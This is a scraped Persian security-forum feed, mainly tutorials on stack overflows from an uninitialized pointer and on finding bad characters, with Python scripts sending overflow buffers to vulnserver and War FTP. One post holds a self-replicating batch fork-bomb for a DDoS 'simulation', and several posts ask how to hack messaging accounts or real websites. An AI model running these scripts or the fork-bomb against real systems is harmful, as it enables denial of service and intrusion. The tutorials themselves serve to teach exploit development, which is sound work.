خوب از بحث اصلیمون دور نشیم،اگر استاد همون درس برنامه نویسی و یا افراد دیگری که ازشون این سوال “متغییر مقدار دهی نشده ولی دارای مقدار هست و خروجی به ما نشون میده” رو پرسیدین بهمون گفتن که وقتی یک نوع Integer رو مقدار دهی نمیکنیم ، مقداری  Random درون متغیر ریخته میشه؟!؟ و اینم جز خیلی از حرفاس که وارد مغزمون کردن تا بیشتر ندونیم و نپرسیم. (انگاری دلم خیلی پره :دایی) بایک مثال خیلی ساده و راحت میخواهیم به صحت و سقم این دلیل پی ببریم. خوب سورس زیر رو کامپایل و اجرا میکنیم:<br />
<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>int main(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int uninit_var ;<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("&#92;n your uninitialized variable is :&#92;t %x&#92;n",uninit_var); <br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
بعد از اجرا مقدار این متغیر رو داریم میبینیم که بایستی این یک مقدار تصادفی باشه و در هر بار اجرا مقداری مختلف ببینید، من درون سیستم خودم فقط این مقدار رو میبینیم و نتیجه میگیرم که مقدار Random نیست:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/Ouput.png" alt="[تصویر:  Ouput.png]" class="mycode_img" /><br />
<br />
حال برنامه را درون یار همیشه همراهمون باز میکنیم تا دلیل این امر رو کشف کنیم.<br />
<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/debugging.png" alt="[تصویر:  debugging.png]" class="mycode_img" /><br />
<br />
همانطور که ملاحظه میکنین ابتدا مقدار ECX درون پشته Push  میشه و بنابراین عنصر بالای پشته خواهد بود و مقدار ESP یا همون Stack Pointer هم به عنصر بالای پشته اشاره میکنه. حال مقدار بالای پشته وارد رجیستر EAX میشه یعنی درواقع همون مقدار رجیستر ECX . نتیجه اینکه مقدار بالای پشته یا همون مقدار رجیستر ECX ، مقدار تصادفی در درون uninit_var  (متغیر مقدار دهی نشده مان) می باشد.<br />
<br />
وقتی که تعداد خط کدها زیادمیشن برنامه نویس ها فراموش می کنند که کدام متغییر مقداردهی نشده است و دلایل دیگر.شاید در لفظ و در نظر برنامه نویس مقدار دهی نکردن متغیر مشکل خاصی پیش نیاره و به هیچ وجه فکرشون به اکسپلویت شدن برنامه شون برسه! میتونن به  CVE-2015-0240 باگ Samba که متغییر cred  یک اشاره گرمقدار دهی نشده در تابع _netr_ServerPasswordSet() است، مراجعه کنند و مطالعه ای داشته باشند که نمونه ها زیاد است. نکته قابل ذکر در اکسپلویتینگ که جا داره در اینجا تکرار کنم : هر اکسپلویت از یک باگ سو استفاده میکنه ولی هر باگ قابل اکسپلویت نیست.<br />
چون هدف فقط آشنایی با این باگ هست از یک مثال قدیمی و خوب استفاده میکنیم تا بتونیم بهتر این موضوع رو درک کنیم ( اصل کار مفهوم و نحوه رخ دادن باگ درون برنامه هاست و لینوکس و ویندوزی فرق نداره ).<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>//www.aha.4xmen.ir<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;<br />
<br />
#define MAX_USER 1024<br />
#define MAX_PASS MAX_USER<br />
<br />
#define ERR_CRITIC 0x01<br />
#define ERR_AUTH&nbsp;&nbsp; 0x02<br />
<br />
int do_auth(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char username[MAX_USER], password[MAX_PASS];<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "Please enter your username: ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;fgets(username, MAX_USER, stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fflush(stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "Please enter your password: ");<br />
&nbsp;&nbsp;&nbsp;&nbsp;fgets(password, MAX_PASS, stdin);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("username at: 0x%x&#92;n", &amp;username);<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("password at 0x%x&#92;n", &amp;password);<br />
<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Username is at: 0x%08x (%d)&#92;n", &amp;username, strlen(username));<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Password is at: 0x%08x (%d)&#92;n", &amp;password, strlen(password));<br />
<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(username, "user") &amp;&amp; !strcmp(password, "washere"))<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br />
}<br />
<br />
int log_error(int farray, char *msg)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *err, *mesg;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char buffer[24];<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is at: 0x%08x&#92;n", &amp;mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is pointing at: 0x%08x&#92;n", mesg);<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("mesg: 0x%x&#92;n", mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0x00, sizeof(buffer));<br />
&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buffer, "Error: %s", mesg);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "%s&#92;n", buffer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
int main(void)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;switch(do_auth())<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;case -1:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
برنامه مورد نظرمون رو اجرا میکنیم :<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2.png" alt="[تصویر:  sample2.png]" class="mycode_img" /><br />
<br />
آدرس متغیر ها را در حافظه نشان داده می شوند، تا به اینجا مشکل خاصی نیس. ورودی های برنامه User و Password است که آنها هم بدرستی دریافت می شوند. به تابع زیر از سورس کد برنامه توجه کنید:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>int log_error(int farray, char *msg)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char *err, *mesg;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char buffer[24];<br />
<br />
#ifdef DEBUG<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is at: 0x%08x&#92;n", &amp;mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, "Mesg is pointing at: 0x%08x&#92;n", mesg);<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("mesg: 0x%x&#92;n", mesg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0x00, sizeof(buffer));<br />
&nbsp;&nbsp;&nbsp;&nbsp;sprintf(buffer, "Error: %s", mesg);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stdout, "%s&#92;n", buffer);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}</code></div></div><br />
متغیر mesg از نوع لوکال و مقدار دهی نشده، ولی توسط تابع sprintf مورد استفاده قرار گرفته است. خوب این متغیر چه ربطی به ما دارد؟ فرض کنیم که این متغیر مقدار دهی نشده است، چگونه می تواند باعث ایجاد باگ شود؟<br />
طول رشته ورودی برای User و Password حداکثر 1024 کاراکتر است. حال حداکثر کاراکتر را بعنوان ورودی به برنامه میدهیم و عکس العمل برنامه را نسبت به ورودی ها مشاهده می کنیم:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-1.png" alt="[تصویر:  sample2-1.png]" class="mycode_img" /><br />
<br />
مقدار mesg با کاراکترهای ورودی ما بازنویسی شده است (همان مقدارهای تصادفی) ! ! !<br />
<br />
دوباره برنامه را درون یار همیشه همراه اجرا می کنیم و ورودی ها را حداکثر کاراکتر خواهیم داد. اینجا نحوه ساختار پشته در هنگام Call شدن یک function رو توضیح نمیدم، اگر دوستان نیاز دیدن میتونن از لینک زیر کتاب سرریز بافر رو دانلود و مطالعه کنید:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>https://www.exploit-db.com/docs/30179.zip</code></div></div><br />
قبل از اینکه وارد تابع log_error بشویم مقادیر پشته رو نگاهی میاندازیم، میبینیم که متغیرهای User و Pass مقدار دهی شده اند و درون پشته ذخیره گردیده اند (Local Variable).<br />
<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-2.png" alt="[تصویر:  sample2-2.png]" class="mycode_img" /><br />
<br />
پشته رو به بالا رشد پیدا میکنه، حال وارد  Call میشویم تا ادامه روند اجرا را بررسی نماییم:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-3.png" alt="[تصویر:  sample2-3.png]" class="mycode_img" /><br />
<br />
مقدار ESP منهای 20 می شود! یعنی درون پشته Overlap رخ خواهد داد.<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>00401130&nbsp;&nbsp;/&#36; 83E&gt;SUB ESP,20</code></div></div><br />
<br />
در ادامه نیز مقدار رجیستر ESI نیز تغییر می کند و آدرس mesg درون آن قرار می گیرد:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>0040113F&nbsp;&nbsp;|. 8B7&gt;MOV ESI,DWORD PTR SS:[ESP+4]</code></div></div><br />
خوب میبینیم که استک Overlap شده است و به دلیل اینکه متغیر mesg مقدار دهی نشده است همان مقداری که از قبل (پشته تابع قبلی) درون استک قرار دارد را مدنظر قرار می گیرد و ما می توانیم براحتی مقدار این متغیر را تحت کنترل داشته باشیم. حال روند اجرا را ادامه می دهیم. در تصویر زیر میبینیم که 24 بایت در پشته با مقدار 0x00 پر میشود و این همان متغیر char buffer[24];است. خوب حال توسط دستور sprintf مقادیر آدرس ESI در آدرس EAX کپی می شود. پس دلیل رخ دادن خطا در برنامه را فهمیدیم که آدرس نا معتبر است.<br />
<br />
سوال: اگر مقدار ESI یک آدرس معتبر باشد چه اتفاقی می افتد؟<br />
جواب: مقادیر آن آدرس درون متغیر Buffer کپی می شوند.<br />
سوال: آیا طول مقادیر چک می شود؟<br />
جواب: خیر، طول مقادیر چک نمی شود و شرط پایان کپی نمودن مقادیر در درون Buffer وجود کاراکتر Null است.<br />
<br />
از این سوال و جواب به این نتیجه میرسیم که براحتی می توانیم با کپی نمودن داده بیشتر از 24 کاراکتر در درون متغیر Buffer آدرس بازگشت (Return Address) را بازنویسی نمایم.بدین صورت که من بجای مقدار 0xDDDD آدرس بخشی از پشته که مقدار متغیر User است را میدهم و نتیجه را میبینیم :<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2015/05/sample2-4.png" alt="[تصویر:  sample2-4.png]" class="mycode_img" /><br />
<br />
آدرس ESI رو مقدار  0x0012FA00قرار دادم و چون طول کاراکتر ها بیش از 24 بود آدرس بازگشت بازنویسی شده و مقدار EIP هم 0x41414141 شده است. کمی آدرس های پشته درون تصاویر رو مقایسه کنین میبینین که چه اتفاقی رخ داده است.<br />
<br />
موفق باشید.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[DDOS]]></title>
			<link>https://www.iranled.com/forum/thread-29887.html</link>
			<pubDate>Wed, 15 Apr 2015 05:42:14 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-29887.html</guid>
			<description><![CDATA[با سلام خدمت دوستای عزیز<br />
من مهندسی فناوری اطلاعات، گرایش امنیت اطلاعات دارم میخونم و موضوع پروژم شبیه سازی Botnet هستش.<br />
متاسفانه خیلی درگیر مشکلات بودم و نتونستم این پروژه رو تموم کنم.<br />
تا شنبه یعنی سه روز دیگه بیشتر وقت ندارم.<br />
استاد راهنما ازم خواسته که یه ویروس بنویسم که در زمان خاصی فعال بشه روی چند تا سیستم تا اتک DDOS بصورت شبیه سازی شده در محیط VMware با چهارتا ویندوز XP انجام بشه و بسته ها و ترافی ارسالی بر روی ویندوز LOCAL با برنامه ی Wireshake مشاهده بشه.<br />
<br />
من یه چندتا ویروس رو ساختم. اولیش بسته های PING هستش که با حجم 55000 ارسال میشه به سیستم مورد هدف با IP مشخص<br />
یکیشم دیروز پیدا کردم<br />
<br />
@echo off<br />
:A<br />
SET /A x=%RANDOM%%%1999999999%<br />
type damage.bat &gt;&gt; %x%.bat<br />
start %x%.bat<br />
goto:A<br />
<br />
چندتا ویروس دیگه لازم دارم و اگه امکانش باشه، نحوه کار و طرز عملکردشون رو هم نیاز دارم.<br />
<br />
عملکرد ویروس بالایی، فکر میکنم یه لوپ هستش که فایل رو روی سیستم مقابل بصورت تصاعدی میسازه با فرمت .bat<br />
<br />
مشکل دیگه من نحوه اجرای فایل ها در زمان خاص بصورت یکجا روی ویندوز های مختلف هستش<br />
<br />
واقعا ممنون میشم اگه کسی بتونه کمکم کنه<br />
<br />
با تشکر فراوان و ببخشید که وقتتون رو گرفتم<br />
شاد، موفق و پیروز باشید/]]></description>
			<content:encoded><![CDATA[با سلام خدمت دوستای عزیز<br />
من مهندسی فناوری اطلاعات، گرایش امنیت اطلاعات دارم میخونم و موضوع پروژم شبیه سازی Botnet هستش.<br />
متاسفانه خیلی درگیر مشکلات بودم و نتونستم این پروژه رو تموم کنم.<br />
تا شنبه یعنی سه روز دیگه بیشتر وقت ندارم.<br />
استاد راهنما ازم خواسته که یه ویروس بنویسم که در زمان خاصی فعال بشه روی چند تا سیستم تا اتک DDOS بصورت شبیه سازی شده در محیط VMware با چهارتا ویندوز XP انجام بشه و بسته ها و ترافی ارسالی بر روی ویندوز LOCAL با برنامه ی Wireshake مشاهده بشه.<br />
<br />
من یه چندتا ویروس رو ساختم. اولیش بسته های PING هستش که با حجم 55000 ارسال میشه به سیستم مورد هدف با IP مشخص<br />
یکیشم دیروز پیدا کردم<br />
<br />
@echo off<br />
:A<br />
SET /A x=%RANDOM%%%1999999999%<br />
type damage.bat &gt;&gt; %x%.bat<br />
start %x%.bat<br />
goto:A<br />
<br />
چندتا ویروس دیگه لازم دارم و اگه امکانش باشه، نحوه کار و طرز عملکردشون رو هم نیاز دارم.<br />
<br />
عملکرد ویروس بالایی، فکر میکنم یه لوپ هستش که فایل رو روی سیستم مقابل بصورت تصاعدی میسازه با فرمت .bat<br />
<br />
مشکل دیگه من نحوه اجرای فایل ها در زمان خاص بصورت یکجا روی ویندوز های مختلف هستش<br />
<br />
واقعا ممنون میشم اگه کسی بتونه کمکم کنه<br />
<br />
با تشکر فراوان و ببخشید که وقتتون رو گرفتم<br />
شاد، موفق و پیروز باشید/]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[هک ای دی لاین]]></title>
			<link>https://www.iranled.com/forum/thread-28905.html</link>
			<pubDate>Sun, 21 Sep 2014 16:10:05 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28905.html</guid>
			<description><![CDATA[سلام- میشه کمک کنید؟<br />
<br />
چطور میشه ای دی لاین رو هک کرد؟<br />
<br />
آیا با fake page میشه؟<br />
<br />
نرم افزار خاصی وجود داره؟]]></description>
			<content:encoded><![CDATA[سلام- میشه کمک کنید؟<br />
<br />
چطور میشه ای دی لاین رو هک کرد؟<br />
<br />
آیا با fake page میشه؟<br />
<br />
نرم افزار خاصی وجود داره؟]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[هک]]></title>
			<link>https://www.iranled.com/forum/thread-28675.html</link>
			<pubDate>Mon, 04 Aug 2014 08:45:30 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28675.html</guid>
			<description><![CDATA[سلام<br />
خواهش می کنم کمکم کنید می خوام یه نرم افزار بیدا کنم که بدون برنامه نویسی یه وب سایت رو هک کنه]]></description>
			<content:encoded><![CDATA[سلام<br />
خواهش می کنم کمکم کنید می خوام یه نرم افزار بیدا کنم که بدون برنامه نویسی یه وب سایت رو هک کنه]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[باگ xss]]></title>
			<link>https://www.iranled.com/forum/thread-28468.html</link>
			<pubDate>Sun, 29 Jun 2014 08:54:54 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28468.html</guid>
			<description><![CDATA[سلام دوستان عزیز <br />
من یه سایتی رو انالیز کردم که 19 ال باگ xss داره حالا برای هک اون سایت چه کاری باید انجام بدم میتونید اموزش برام بفرستید عکسشو گذاشتم<br />
<a href="http://up.ashiyane.org/images/e41i2e7l0r2pym1gf13i.jpg" target="_blank" rel="noopener" class="mycode_url">image</a><br />
موفق باشید]]></description>
			<content:encoded><![CDATA[سلام دوستان عزیز <br />
من یه سایتی رو انالیز کردم که 19 ال باگ xss داره حالا برای هک اون سایت چه کاری باید انجام بدم میتونید اموزش برام بفرستید عکسشو گذاشتم<br />
<a href="http://up.ashiyane.org/images/e41i2e7l0r2pym1gf13i.jpg" target="_blank" rel="noopener" class="mycode_url">image</a><br />
موفق باشید]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[نقش کاراکترهای مخرب در پردازش اکسپلویت و نحوه یافت آنها]]></title>
			<link>https://www.iranled.com/forum/thread-28450.html</link>
			<pubDate>Wed, 25 Jun 2014 11:25:10 +0000</pubDate>
			<guid isPermaLink="false">https://www.iranled.com/forum/thread-28450.html</guid>
			<description><![CDATA[اگر کمی با اکسپلویت نویسی و نحوه اکسپلویت کردن برنامه آشنایی داشته باشید بدون شک با مفهوم Bad Char آشنا هستید. Bad Char در اکسپلویت کاراکترهایی را می گویند که از وارد شدن کامل اکسپلویت به درون حافظه جلوگیری می کنند. بعنوان مثال در ورودی برنامه های C/C++ اگر دربین رشته ورودی 0×00 وجود داشته باشد به عنوان انتهای ورودی محسوب می شود و بعد از کاراکتر 0×00 نادیده گرفته می شود، بنابراین Bad Char ها یکی از ضروریات است که بایستی متناسب با هدف، آنها را بدانیم.<br />
<br />
    سوال : چگونه متناسب با هدف Bad Char ها را بدست آوریم؟؟<br />
<br />
    جواب : بایستی تمامی کاراکتر های که ممکن است بعنوان Bad Char محسوب گردند را لیست نموده  تا بتوانیم توسط سعی و خطا تک،تک آنهارا بدست آوریم. این لیست در واقع از 0×00 تا 0xFF می باشد.<br />
<br />
لیست ایجاد شده را بایستی در اکسپلویت مان بعد از Return Address قرار می دهیم بدین دلیل که Bad Char از بازنویسی Return Address جلوگیری نکند تا بتوانیم درون حافظه چک کنیم که لیست مان تا چه مکانی کپی شده اند و Bad Char چه بوده که باعث جلوگیری از کپی کامل اکسپلویت درون حافظه شده است.<br />
<br />
در این مقاله برروی vulnserver که توسط Stephen Bradshaw نوشته شده و یک برنامه آسیب پذیر جهت تست و مثال آموزشی مورد استفاده قرار می گیرد، تست خود را انجام می دهیم.<br />
<br />
بعد از اضافه نمودن لیست Bad Char به کدهایمان و ارسال آن به پورت vulnserver اولین راهکار این خواهد بود که بصورت دستی حافظه را چک کنیم تا کاراکتر را بدست آوریم ولی اینکار کمی زمانبر و کسل کننده است. راهکار بعدی استفاده از mona خواهد بود که بهتر از حالت قبل است، پس روند کارمان با استفاده از ابزار mona خواهد بود.<br />
<br />
 <br />
<br />
ابتدا توسط mona لیست کاراکترها را ایجاد می کنیم:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray</code></div></div><br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image1.png" alt="[تصویر:  image1.png]" class="mycode_img" /><br />
<br />
با اجرا این کامند دو فایل در working folder ایجاد می شود:<br />
<br />
<ol type="1" class="mycode_list"><li>فایل متنی (txt) شامل کدهای، لیست ایجاد شده است که در سورس مان اضافه نماییم.<br />
</li>
<li>فایل باینری (bin) این فایل در ادامه جهت چک نمودن حافظه مورد استفاده قرار می گیرد.<br />
</li>
</ol>
<br />
حال با استفاده از فایل متنی ایجاد شده سورس برنامه خود را تغییر می دهیم و بدین صورت خواهد شد:<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#<br />
# @author : AHA at 4xmen.ir<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HamiD.Rezaei<br />
#<br />
import socket,sys,struct<br />
 <br />
host = '127.0.0.1'<br />
port = 9999<br />
vuln_cmd ='TRUN .'<br />
vuln_buff_size= 2006<br />
NOP = "&#92;x90"<br />
 <br />
def main():<br />
&nbsp;&nbsp;&nbsp;&nbsp;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((host,port))<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Connection to "+host+" failed!"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Connected ..."&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[+] Create exploit with bad char ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;bad_char=("&#92;x00&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0a&#92;x0b&#92;x0c&#92;x0d"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;... Snip ...<br />
"&#92;xf2&#92;xf3&#92;xf4&#92;xf5&#92;xf6&#92;xf7&#92;xf8&#92;xf9&#92;xfa&#92;xfb&#92;xfc&#92;xfd&#92;xfe&#92;xff")<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff=vuln_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'A'* vuln_buff_size<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'BBBB'<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= bad_char<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Sending Exploit ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.send(buff)<br />
 <br />
if __name__ == '__main__':<br />
&nbsp;&nbsp;&nbsp;&nbsp;main()</code></div></div><br />
بعد از ارسال کدها به سرور با استفاده از کامند زیر عمل مقایسه را انجام می دهیم که خروجی مانند تصویر خواهد بود:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona compare -f C:&#92;logs&#92;vulnserver&#92;bytearray.bin -a 00C5FA0C</code></div></div><br />
در خروجی بخش Bad Char خالی خواهد بود ولی به status نیز دقت کنید، حال بایستی حافظه را خودمان چک کنیم و می فهمیم  که اولین Bad Char نیز 0×00 خواهد بود و به دلیل وضیعت حافظه نتوانسته تشخیص بدهد:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image21.png" alt="[تصویر:  image21.png]" class="mycode_img" /><br />
<br />
اولین Bad Char را بصورت دستی پیدا نمودیم حال بایستی لیست جدیدی ایجاد نماییم که این کاراکتر در آن نباشد و دوباره تست را انجام دهیم. با استفاده از کامند زیر می توانیم لیستی بدون کاراکترهای مشخص شده ایجاد نماییم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona bytearray -cpb “&#92;x00″</code></div></div><br />
مراحل قبل را با لیست جدید ادامه می دهیم، می بینیم که خروجی کاراکتری را مشخص ننموده است و همچنین لیست کاراکترها بطورکامل درون حافظه وارد شده اند، بنابراین تنها Bad Char برای این تارگت 0×00 خواهد بود.<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image31.png" alt="[تصویر:  image31.png]" class="mycode_img" /><br />
<br />
بعنوان مثال دیگر <a href="http://www.exploit-db.com/exploits/3570/" target="_blank" rel="noopener" class="mycode_url">war ftp</a> را مورد بررسی قرار می دهیم. سورس برنامه مان بدین صورت خواهد بود:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#<br />
# @author : AHA at 4xmen.ir<br />
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HamiD.Rezaei<br />
#<br />
import socket,sys,struct<br />
 <br />
host = '192.168.93.131'<br />
port = 21<br />
vuln_cmd ='USER '<br />
vuln_buff_size= 485<br />
end_cmd='&#92;r&#92;n'<br />
NOP = "&#92;x90"<br />
 <br />
def main():<br />
&nbsp;&nbsp;&nbsp;&nbsp;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect((host,port))<br />
&nbsp;&nbsp;&nbsp;&nbsp;except:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print "[-] Connection to "+host+" failed!"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.recv(1024)<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Connected ..."&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[+] Create exploit with bad char ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;bad_char=("&#92;x00&#92;x01&#92;x02&#92;x03&#92;x04&#92;x05&#92;x06&#92;x07&#92;x08&#92;x09&#92;x0a&#92;x0b&#92;x0c&#92;x0d"<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;... Snip ...<br />
"&#92;xf2&#92;xf3&#92;xf4&#92;xf5&#92;xf6&#92;xf7&#92;xf8&#92;xf9&#92;xfa&#92;xfb&#92;xfc&#92;xfd&#92;xfe&#92;xff")<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff=vuln_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'A'* vuln_buff_size<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= 'BBBB'<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= bad_char<br />
&nbsp;&nbsp;&nbsp;&nbsp;buff+= end_cmd<br />
&nbsp;&nbsp;&nbsp;&nbsp;print "[*] Sending exploit ..."<br />
&nbsp;&nbsp;&nbsp;&nbsp;s.send(buff)<br />
 <br />
if __name__ == '__main__':<br />
&nbsp;&nbsp;&nbsp;&nbsp;main()</code></div></div><br />
حال برنامه را اجرا نموده و با استفاده از دستور زیر حافظه را با فایل باینری مقایسه می کنیم:<br />
<br />
<div class="codeblock"><div class="title">کد: </div><div class="body" dir="ltr"><code>!mona compare -f C:&#92;logs&#92;war-ftpd&#92;bytearray.bin -a 00B2FD44</code></div></div><br />
خروجی مانند تصویر زیر خواهد بود که اولین کاراکتر 0×00 که پیدا نموده است:<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image4.png" alt="[تصویر:  image4.png]" class="mycode_img" /><br />
<br />
لیست جدید بدون 0×00 ایجاد نموده و دوباره تست را انجام میدهیم. در این مرحله کاراکتر بعدی که شناسایی می شود 0x0A می باشد.<br />
<br />
<img src="http://4xmen.ir/wp-content/uploads/2014/04/image5.png" alt="[تصویر:  image5.png]" class="mycode_img" /><br />
<br />
